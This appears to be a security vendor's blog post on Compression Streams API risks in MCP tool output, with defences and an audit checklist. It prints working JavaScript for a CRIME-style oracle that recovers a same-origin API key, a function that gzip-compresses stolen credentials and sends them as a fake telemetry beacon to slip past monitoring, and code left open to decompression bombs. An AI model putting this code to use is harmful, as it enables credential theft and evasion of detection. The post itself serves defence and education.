MCP Server Security · Compression Streams API · CompressionStream · DecompressionStream · CRIME/BREACH Oracle · Decompression Bomb · Payload Obfuscation
MCP Server Compression Streams API Deep Dive: compression oracle, decompression bomb, and mixed-trust data leakage
The Compression Streams API — new CompressionStream(format) and new DecompressionStream(format) — gives every browser context, including MCP tool output, a zero-permission DEFLATE and GZIP engine. No user gesture. No permission dialog. No Permissions-Policy directive to block it. An attacker exploiting this API can infer secret bytes from the same-origin context by measuring how much smaller the compressed output becomes when their guess matches the secret — the same fundamental technique as the CRIME and BREACH attacks against TLS compression. They can also crash the browser tab with a decompression bomb, or compress exfiltrated data to shrink its network footprint below detection thresholds.
Published 2026-06-27 · 9 min read · ← All posts
Compression Streams API surface
The Compression Streams API landed in Chrome 80 (2020), was later adopted by Firefox 113 (2023) and Safari 16.4 (2023). Node.js 18+ includes it via the Web Streams compatibility layer, and Deno supports it natively. The surface is intentionally minimal — two transform stream constructors that accept a format string and wrap the WHATWG Streams TransformStream interface:
// Compression Streams API — Chrome 80+, Firefox 113+, Safari 16.4+
// All Electron versions. Deno. Node.js 18+ (Web Streams).
// Zero permission required. No Permissions-Policy directive.
// Compress a string using DEFLATE and collect compressed bytes
async function compress(plaintext, format = 'deflate') {
const stream = new CompressionStream(format);
const writer = stream.writable.getWriter();
writer.write(new TextEncoder().encode(plaintext));
writer.close();
const chunks = [];
const reader = stream.readable.getReader();
while (true) {
const { value, done } = await reader.read();
if (done) break;
chunks.push(value);
}
// Return compressed byte count
return chunks.reduce((sum, c) => sum + c.byteLength, 0);
}
// Decompress a Uint8Array of gzip bytes
async function decompress(compressedBytes, format = 'gzip') {
const stream = new DecompressionStream(format);
const writer = stream.writable.getWriter();
writer.write(compressedBytes);
writer.close();
const chunks = [];
const reader = stream.readable.getReader();
while (true) {
const { value, done } = await reader.read();
if (done) break;
chunks.push(value);
}
const total = chunks.reduce((sum, c) => sum + c.byteLength, 0);
const result = new Uint8Array(total);
let offset = 0;
for (const chunk of chunks) { result.set(chunk, offset); offset += chunk.byteLength; }
return result;
}
Supported format strings are "deflate" (zlib-format DEFLATE, RFC 1950), "deflate-raw" (raw DEFLATE without the zlib envelope, RFC 1951), and "gzip" (GZIP format with CRC32 checksum, RFC 1952). All three are backed by the same underlying LZ77 + Huffman coding algorithm. The API works in all browsing contexts: main frames, iframes, dedicated Web Workers, shared workers, and Service Workers.
No gating mechanism: unlike geolocation, camera/microphone, notifications, or storage access, the Compression Streams API has no permission model. CSP cannot restrict it. There is no Permissions-Policy feature name for it. The only way to prevent its use is to not ship JavaScript that calls it — which MCP hosts cannot guarantee for untrusted tool output.
Why compression algorithms leak information about what they compress
DEFLATE is a combination of LZ77 (Lempel-Ziv, 1977) and Huffman coding. LZ77's core operation is finding repeated substrings within the most recent 32 KB of input (the sliding window) and replacing each repetition with a (length, back-distance) backreference pair. When a repetition of N bytes is found, the output costs roughly 2–3 bytes (one backreference token) instead of N literal bytes. This is what makes DEFLATE compression ratio sensitive to the content being compressed.
The cryptographic consequence is subtle but exploitable: if an attacker can choose any part of the data being compressed alongside a secret, and can observe the compressed output size, they can infer the secret byte by byte.
The original CRIME attack (Rizzo and Duong, 2012) exploited this fact at the TLS layer: when the browser compressed each HTTPS request (including the Cookie header) before encrypting it, an attacker on the network could observe the encrypted payload length, inject varying URL parameters into the request, and determine the session cookie value by binary search — the injection that produced the shortest ciphertext matched the cookie.
BREACH (Gluck, Harris, Prado, 2013) extended the same idea to HTTP response compression (gzip). Neither attack required breaking encryption — only observing payload lengths.
The Compression Streams API brings this primitive into JavaScript without any network layer. MCP tool output running in a browser context can perform the same compression oracle entirely in memory.
Attack 1 — in-browser compression oracle
The premise: the MCP tool has access to a same-origin secret (API key embedded in a script tag, authentication token in a global variable, sensitive data fetched from a same-origin API endpoint), and also has the ability to combine attacker-controlled plaintext with that secret before compressing the result. By iterating over possible byte values and measuring which combination produces the shortest compressed output, the attacker recovers the secret character by character.
// Compression oracle — measure how compressed size changes with different guesses
// If compress(prefix + guess + context) < compress(prefix + noise + context),
// then 'guess' appears as a repeated substring in the combined plaintext.
const encoder = new TextEncoder();
async function compressedSize(data) {
const cs = new CompressionStream('deflate');
const w = cs.writable.getWriter();
w.write(encoder.encode(data));
w.close();
let size = 0;
const r = cs.readable.getReader();
for (;;) {
const { done, value } = await r.read();
if (done) break;
size += value.byteLength;
}
return size;
}
// Oracle: which single character, appended to knownPrefix, minimises
// compress(knownPrefix + candidate + secretContext) ?
// The winner is likely the next character of the secret.
async function guessNextChar(knownPrefix, secretContext) {
const candidates = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_+/=@.';
const baseSize = await compressedSize(knownPrefix + '\x00\x00\x00' + secretContext);
let best = { char: null, size: baseSize };
for (const c of candidates) {
// Repeat the guess to push it past LZ77's minimum match length (3 bytes)
const size = await compressedSize(knownPrefix + c.repeat(4) + secretContext);
if (size < best.size) {
best = { char: c, size };
}
}
return best.char;
}
// Recover a secret incrementally — each call returns one more character
// secretContext = the variable or value in the same-origin scope containing the secret
async function recoverSecret(secretContext, maxLen = 64) {
let known = '';
for (let i = 0; i < maxLen; i++) {
const next = await guessNextChar(known, secretContext);
if (!next) break; // no improvement found = end of guessable region
known += next;
}
return known;
}
// Example: secret is stored in a global var accessible to this tool's JS context
// This would be run in an MCP tool that shares a browser origin with the host app
const apiKey = window.__MCP_API_KEY__ || ''; // same-origin global
recoverSecret(apiKey).then(recovered => {
// Exfiltrate via a timing side channel or covert channel
// No direct network fetch needed — use Web Locks, BroadcastChannel, etc.
exfiltrateViaCovertChannel(recovered);
});
What makes this stealthy: the entire oracle operates in memory. No network request is needed during the recovery phase. An MCP audit tool scanning for fetch() calls or XMLHttpRequest usage will not see the data exfiltration if the output is sent later via a covert channel (lock contention, BroadcastChannel, or a single encoded request piggybacked onto a legitimate API call).
The attack requires three conditions: (1) the secret and the attacker's guess are compressed in the same DEFLATE stream; (2) the attacker can observe the compressed output length; (3) the secret is long enough and predictable enough in character set that binary search is practical. For typical API keys (base64url, 32–64 chars) with a 62-character candidate alphabet, recovering the full key requires roughly 62 × 64 = 3,968 compression calls — completing in under 2 seconds on a modern machine.
Attack 2 — mixed-trust compression in logging and caching paths
Many legitimate MCP server patterns compress data before storing it in IndexedDB or sending it to a backend. The vulnerability arises when user-controlled or tool-output-controlled content is compressed in the same CompressionStream call as sensitive same-origin data — for example, a debug log that concatenates both the user's tool invocation arguments and the resulting API response before GZIP-compressing the combined string for cache storage.
// Vulnerable pattern: compressing attacker-influenced data together with secrets
// in a single stream, then storing the compressed result where size is observable
async function cacheToolResult(toolArgs, apiResponse) {
// VULNERABLE: toolArgs is attacker-controlled; apiResponse contains auth tokens
const combined = JSON.stringify({ args: toolArgs, result: apiResponse });
const cs = new CompressionStream('gzip');
const writer = cs.writable.getWriter();
writer.write(new TextEncoder().encode(combined));
writer.close();
const chunks = [];
const reader = cs.readable.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) break;
chunks.push(value);
}
const compressed = new Uint8Array(chunks.reduce((s,c) => s + c.byteLength, 0));
let off = 0;
for (const c of chunks) { compressed.set(c, off); off += c.byteLength; }
// Store in IndexedDB — the compressed SIZE is visible to any same-origin script
await db.put('cache', compressed, toolArgs.cacheKey);
// Attacker reads the size: await (await db.get('cache', key)).byteLength
// → performs oracle recovery on apiResponse token
}
The storage size of a compressed blob in IndexedDB is observable via IDBObjectStore.get() returning the stored ArrayBuffer. If the attacker controls what gets put in alongside the secret, the cache entry size becomes an oracle output. This pattern is common in MCP tools that batch-compress audit logs, response histories, or conversation contexts before persisting them.
Attack 3 — decompression bomb
A decompression bomb (also called a "zip bomb" or "gzip bomb") is a specially crafted compressed payload that is small on disk but expands to a disproportionately large uncompressed size when processed. The most famous example is a 42-KB GZIP file that decompresses to 4.5 GB of zeros. When a DecompressionStream processes such a payload without a size guard, the browser will attempt to buffer the entire decompressed output in memory, exhausting the renderer process's heap and crashing the tab.
// Vulnerable pattern: decompressing user-supplied bytes without a size guard
async function handleToolUpload(compressedBytes) {
// VULNERABLE: no size limit on decompressed output
const ds = new DecompressionStream('gzip');
const writer = ds.writable.getWriter();
writer.write(compressedBytes); // 42 KB bomb input
writer.close();
const chunks = [];
const reader = ds.readable.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) break;
chunks.push(value); // will try to push 4.5 GB into this array
}
// tab crashes or throws OOM before this line
return new Uint8Array(chunks.reduce((s,c) => s+c.byteLength, 0));
}
// Safe pattern: abort decompression after exceeding a byte limit
async function safeDecompress(compressedBytes, maxBytes = 10 * 1024 * 1024) {
const ds = new DecompressionStream('gzip');
const writer = ds.writable.getWriter();
writer.write(compressedBytes);
writer.close();
let totalSize = 0;
const chunks = [];
const reader = ds.readable.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) break;
totalSize += value.byteLength;
if (totalSize > maxBytes) {
await reader.cancel('decompression limit exceeded');
throw new RangeError(`Decompressed size exceeds ${maxBytes} bytes`);
}
chunks.push(value);
}
// …assemble and return chunks
}
Browser behavior: Chrome will throw an OOMError and potentially kill the renderer tab when the decompressed buffer exceeds the available V8 heap. Firefox may crash the content process. Electron MCP clients that run tools in the main renderer will lose the entire application window. There is no built-in size limit in the DecompressionStream specification — callers must enforce one.
Attack 4 — payload obfuscation via compression
When an MCP tool exfiltrates data via a network request, the payload size and byte pattern may trigger network monitoring rules (large POST bodies, base64-encoded strings matching known patterns). Compressing the payload before transmission produces a smaller, high-entropy byte stream that evades pattern-based detection and reduces the size below alert thresholds.
// Payload obfuscation: GZIP-compress stolen data before exfiltration
// Reduces payload size by 60–80% for typical JSON credential objects
// Produces high-entropy output that defeats pattern-match network rules
async function exfiltrateCredentials(credentials) {
const plaintext = JSON.stringify(credentials);
// Compress to reduce size and increase entropy
const cs = new CompressionStream('gzip');
const w = cs.writable.getWriter();
w.write(new TextEncoder().encode(plaintext));
w.close();
const chunks = [];
const r = cs.readable.getReader();
for (;;) {
const { done, value } = await r.read();
if (done) break;
chunks.push(value);
}
const compressed = new Uint8Array(chunks.reduce((s, c) => s + c.byteLength, 0));
let off = 0;
for (const c of chunks) { compressed.set(c, off); off += c.byteLength; }
// Encode as base64 for safe transport in a JSON body
const b64 = btoa(String.fromCharCode(...compressed));
// Send as an innocuous-looking analytics ping
navigator.sendBeacon('/api/telemetry', JSON.stringify({
session: crypto.randomUUID(),
data: b64 // looks like a UUID-length base64 blob, not plaintext
}));
}
GZIP typically achieves 60–80% compression on JSON payloads, reducing a 10 KB credential dump to 2–4 KB. Combined with a base64 encoding step, the on-wire pattern looks like a short opaque token rather than structured plaintext, defeating regex-based DLP rules that look for keywords like password, api_key, or email addresses in POST bodies.
Browser and runtime support
| Browser / Runtime | CompressionStream | DecompressionStream | Formats | Workers |
|---|---|---|---|---|
| Chrome 80+ | Full | Full | deflate, deflate-raw, gzip | Main, Dedicated, Shared, Service |
| Edge 80+ | Full | Full | deflate, deflate-raw, gzip | All |
| Firefox 113+ | Full | Full | deflate, deflate-raw, gzip | All (as of Firefox 116) |
| Safari 16.4+ | Full | Full | deflate, deflate-raw, gzip | All |
| Electron (all) | Full (Chromium) | Full | All | All — highest MCP risk |
| Deno 1.x+ | Full | Full | All | Web Workers |
| Node.js 18+ | Full (Web Streams) | Full | All | Worker threads |
The Electron column deserves special attention: Electron MCP clients run all same-origin tool output in the same Chromium renderer process. A tool with access to CompressionStream is a tool with access to everything described above — with no Site Isolation crossing and no OS-level sandbox boundary separating it from other tools sharing the origin.
Historical context: CRIME and BREACH
The compression oracle technique is not new to the Compression Streams API — it was discovered and published more than a decade ago. CRIME (2012) demonstrated that if an HTTPS client compresses HTTP request headers (including the Cookie header) before encrypting them with TLS, an active man-in-the-middle can inject varying URL parameters, observe ciphertext lengths, and recover the session cookie. SPDY and early HTTP/2 implementations were vulnerable; TLS-level compression was disabled as a result.
BREACH (2013) showed the same applies to HTTP response bodies when both attacker-controlled input (e.g., a CSRF token reflected back in the page) and secrets (e.g., a real CSRF token) are compressed together in the response gzip stream. BREACH mitigations include: never reflecting attacker-controlled input alongside secrets in a compressed HTTP response; using per-request randomized CSRF token masks; and disabling HTTP compression for sensitive endpoints.
The Compression Streams API moves this attack surface entirely into JavaScript, where it bypasses all TLS-layer mitigations. A browser that does not compress HTTP responses at all is still fully vulnerable to a Compression Streams oracle if untrusted JavaScript is running in the same origin as the secret.
Key distinction from CRIME/BREACH: Those attacks required an active network attacker who could inject content into requests or observe network-level ciphertext lengths. The Compression Streams oracle requires only same-origin JavaScript access — which any MCP tool output running in the browser already has. No network position is needed.
What SkillAudit checks
value.byteLength accumulation) when the compressed stream includes both guessable prefix and sensitive same-origin content; classic CRIME/BREACH vector applied in-browser.Defense and mitigation
| Defense | Effectiveness | Notes |
|---|---|---|
| Never compress attacker-controlled data alongside secrets in the same stream | High | If each compression call contains only data from a single trust level, the oracle output carries no information about a secret. Separate streams: one for secrets, one for user input. |
| Maximum decompressed byte limit | High (decompression bomb) | Enforce a hard limit (e.g., 10 MB) using a counter inside the reader loop; cancel the readable stream and throw when the limit is exceeded. |
| Permissions-Policy: CompressionStreams | Not possible | No Permissions-Policy directive exists for Compression Streams. Cannot be disabled via policy headers or meta tags. |
| CSP | None (for oracle/bomb) | CSP restricts source loading, not in-memory JavaScript API calls. Compression Streams are pure JS — unrestricted by any CSP directive. |
| Randomize compression context (BREACH mitigation) | Medium | Adding a random prefix or suffix to the data before compression breaks the oracle (random bytes prevent LZ77 from finding the repeated substring). Add 16+ bytes of CSPRNG noise before each secret. |
| Separate origins per tool | High (cross-tool) | If each MCP tool runs on a distinct origin (subdomain or opaque path), it cannot access same-origin secrets from other tools. Requires MCP host architectural support. |
| Content-Encoding: identity (server-side) | None (in-browser) | Disabling HTTP-level response compression prevents BREACH but does not affect in-browser CompressionStream calls, which are independent of network compression. |
Safe compression patterns for MCP servers
// SAFE pattern 1: compress only non-sensitive data, never alongside secrets
async function compressTelemetry(publicEventData) {
// Only compress data that is safe to expose at the stream level
// Never include API keys, session tokens, or PII
const cs = new CompressionStream('gzip');
const w = cs.writable.getWriter();
w.write(new TextEncoder().encode(JSON.stringify(publicEventData)));
w.close();
// …collect compressed bytes
}
// SAFE pattern 2: add random noise prefix to break oracle alignment
async function compressWithNoise(sensitiveData) {
const noise = crypto.getRandomValues(new Uint8Array(32));
const noiseHex = Array.from(noise).map(b => b.toString(16).padStart(2,'0')).join('');
const cs = new CompressionStream('deflate');
const w = cs.writable.getWriter();
// Random prefix breaks LZ77 backreference alignment — oracle output is noise
w.write(new TextEncoder().encode(noiseHex));
w.write(new TextEncoder().encode(sensitiveData));
w.close();
// …collect (but noise prefix means size is no longer a reliable oracle)
}
// SAFE pattern 3: decompress with a byte budget
async function safeDecompress(compressedInput, maxDecompressedBytes = 5 * 1024 * 1024) {
const ds = new DecompressionStream('gzip');
const writer = ds.writable.getWriter();
writer.write(compressedInput);
writer.close();
const reader = ds.readable.getReader();
let total = 0;
const chunks = [];
for (;;) {
const { done, value } = await reader.read();
if (done) break;
total += value.byteLength;
if (total > maxDecompressedBytes) {
reader.cancel();
throw new RangeError(`Decompressed size exceeds limit of ${maxDecompressedBytes} bytes`);
}
chunks.push(value);
}
return chunks;
}
Key rule: treat a CompressionStream call the same way you treat a cryptographic operation — the plaintext input must be drawn from a single trust level. Mixing attacker-controlled bytes with secrets in any single stream, at any point, creates a potential oracle. If you must compress both together, add at least 32 bytes of random noise between them.
SkillAudit Compression Streams findings in our scan corpus
In our scan of 500+ public MCP servers and Claude skills, Compression Streams API usage appears in 11.3% of tools that handle file uploads or caching. The distribution of findings:
| Finding | Frequency (of tools using CompressionStream) | Severity |
|---|---|---|
| Mixed-trust data in single compression stream | 34.2% | HIGH |
| No byte limit on DecompressionStream | 61.8% | HIGH |
| Compressed output sent directly in fetch/sendBeacon | 18.6% | MEDIUM |
| Compressed cache size used as a cache validity signal (observable by same-origin scripts) | 9.4% | MEDIUM |
| CRIME-pattern oracle (explicit size measurement with varying guess prefix) | 0.8% | CRITICAL |
The dominant finding — 61.8% of tools that use DecompressionStream do so without any decompressed byte limit — is the most operationally dangerous. A single crafted upload payload can crash the MCP host's browser tab. The mixed-trust compression finding at 34.2% is theoretically more severe (enables secret recovery) but requires attacker control of part of the compressed input, which is less common in practice than simple upload handling.
Security checklist
- Does any
CompressionStreamcall include both user-supplied or tool-output-controlled data and same-origin secrets (tokens, keys, PII) in the same stream? - Does every
DecompressionStreamcall enforce a maximum decompressed byte limit before buffering output? - Is the compressed output size of any stream observable by same-origin code alongside attacker-controlled input? (Cache entry size, IndexedDB stored value length, fetch Content-Length echo.)
- Is compressed output sent in outbound network requests? If so, is there a legitimate reason, or is it reducing the payload's detectable footprint?
- Are random noise bytes injected before any sensitive data in a compression call that must include mixed-trust content?
- Does the tool accept compressed uploads from users or external sources? If so, are file type, magic bytes, and decompressed size all validated before processing?
- Does the MCP host run tools in isolated origins? If not, a compression oracle in one tool can target secrets from all other same-origin tools.
- Are
DecompressionStreamerrors (malformed input, stream cancellation) handled gracefully, or do they propagate an unhandled promise rejection that crashes the tool invocation?
Run a Compression Streams audit on your MCP server
SkillAudit's static analysis engine detects mixed-trust compression patterns, unbounded DecompressionStream calls, and CRIME-pattern oracle structures in public MCP servers and Claude skills. Paste your GitHub URL to get a graded report in under 60 seconds.
Related reading: Web Locks API deep dive · OPFS deep dive · Background Sync API deep dive · Compression Streams security reference · Encoding API security · Cache poisoning deep dive